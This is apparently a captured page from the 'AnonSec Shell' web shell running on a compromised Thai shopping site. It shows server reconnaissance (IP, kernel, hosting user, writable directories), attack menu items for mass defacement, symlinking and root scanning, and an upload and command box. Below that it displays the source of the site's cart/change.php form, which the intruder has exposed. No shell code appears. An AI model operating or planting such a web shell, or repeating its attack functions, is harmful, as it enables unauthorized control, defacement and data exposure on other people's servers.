AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/kainumber.com/cart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/kainumber.com/cart/change.php
<?php include('../include/header.php')?>
<?php $menu = 'cart';?>
<?php
if($_GET['action']=='cancel')
{
	session_unregister("cart");
	session_unregister("num_cart");
}
?>
<?php include('../theme/menu.php')?>  


<!-- /.body --> 
<div class="container" style="padding-top:25px;">
    <div class="row">
        
        <div class="col-md-12">
        
        
        <form action="order_extra_post.php" method="POST">
        <div class="head_bg_right"> ตะกร้าสินค้าพิเศษ</div>
     	<div style="border:0px solid #FFF;padding:10px;">
        
        <table id="myTbl" width="100%" border="0" cellspacing="2" cellpadding="0">
        <tr id="firstTr">
        <td width="50%" style="padding-top:20px;">
       			 <div class="form-group">
                    <label for="exampleInputEmail1">หมายเลขโทรศัพท์</label>
                    <input type="text" class="form-control" id="" name="telephone[]" placeholder="xxxxxxxxxx" maxlength="10">
                  </div>
                  <div class="form-group">
                    <label for="exampleInputPassword1">ราคา</label>
                    <input type="text" class="form-control" id=""  name="price[]" placeholder="00.00">
                  </div>
        <hr>
        </td>
        </tr>
        
        </table>   
        <br>
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
        
        <tr>
        	<td>
                <div class="form-group">
                <label for="inputEmail3" class="col-sm-2 control-label">รูปแบบการจัดส่ง :*</label>
                <div class="col-sm-9">
                <div class="radio">
                    <label>
                    <input type="radio" name="delivery"  value="free">ส่งฟรี &nbsp; <span style="color:#F00;"> ค่าจัดส่ง 0 บาท</span>
                    </label>
                </div>
                 <?php
                    $list_de = array('table'=>'delivery','where'=>'status = 1','order'=> "ORDER BY id ASC");				  
                    $view_de = $view_db->view($list_de);
                    $result_de = $view_db->q_re($view_de);
                    while($row_de = $view_db->q_ro($result_de))
                    {
                        ?>
                         <div class="radio">
                          <label>
                            <input type="radio" name="delivery"  value="<?php echo $row_de['id']?>" <?php if($row_de['id'] == 3){ ?>checked<?php }?>>
                            <?php echo $row_de['name']?> &nbsp; <span style="color:#F00;"> ค่าจัดส่ง <?php echo $row_de['price']?> บาท</span>
                          </label>
                        </div>
                        <?php
                    }
                 ?>
                </div>
                </div>
            </td>
        </tr>
        
        <tr>
        <td align="center">
        <button id="addRow" type="button" class="btn btn-primary">เพิ่มข้อมูล</button>  
        &nbsp;
        <button id="removeRow" type="button" class="btn btn-warning">ลบข้อมูล </button>
        &nbsp;
        <button type="submit" class="btn btn-success btn-lg">ตกลง</button>
        </td>
        </tr>
        </table> 
        
        </div>  
        </form>
     
        
     
<script language="javascript" src="jquery.js"></script>     
<script type="text/javascript">
$(function(){
	$("#addRow").click(function(){
		$("#myTbl").append($("#firstTr").clone());
	});
	$("#removeRow").click(function(){
		if($("#myTbl tr").size()>1){
			$("#myTbl tr:last").remove();
		}else{
			alert("ต้องมีรายการข้อมูลอย่างน้อย 1 รายการ");
		}
	});	
	
	
});
</script>     
        
        
        
        
        </div>
    </div>
</div> 
<div style="height:200px;">
</div> 
<!-- /.body -->  
<?php include('../include/footer.php')?>
<?php include('../include/footer_js.php')?>

Anon7 - 2022
AnonSec Team